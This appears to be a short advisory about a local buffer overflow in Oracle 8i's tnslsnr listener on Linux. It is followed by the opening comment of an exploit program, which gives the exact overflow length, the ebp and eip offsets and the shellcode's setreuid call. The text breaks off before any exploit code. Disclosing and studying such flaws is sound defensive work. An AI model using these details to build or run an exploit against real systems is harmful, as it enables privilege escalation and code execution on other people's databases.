Oracle 8i is a powerful relational database product. It is available for Windows, Linux, and a wide range of Unix operating systems.

A vulnerability has been reported with some versions of Oracle 8i for Linux. A local attacker able to execute the tnslsnr process may pass an oversized command line parameter and cause a buffer overflow, possibly leading to the execution of arbitrary code as the user 'oracle'.

Versions of Oracle 8i available for other operating systems have not yet been confirmed as vulnerable.

/*
 * Yet another exploit for the 'Unbreakable' Oracle database
 * The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
 * Shellcode created by r0z / Promisc
 * Exploit coded up by The Itch / Promisc (http://www.promisc.org)
 *
 * This exploit was developed on the Snosoft vulnerability research machines
 * mail dotslash@snosoft.com if you wish to participate in vuln research. 
 *
 * - The Itch
 * - itchie@promisc.org
 *
 * - Technical details concerning the exploit -
 *
 * 1). Buffer overflow occurs after writing more then 2132 bytes into the
 *     buffer at the command line 2128 to overwrite ebp, 2132 to
 *     overwrite eip).
 * 2). If you write more then 2132 bytes, other frames will be
 *     overwritten afterwards and will mess up your flow of arbitrary code
 *     execution. (It must be exactly 2132 bytes!)
 * 3). shellcode will try to do a setreuid(515);
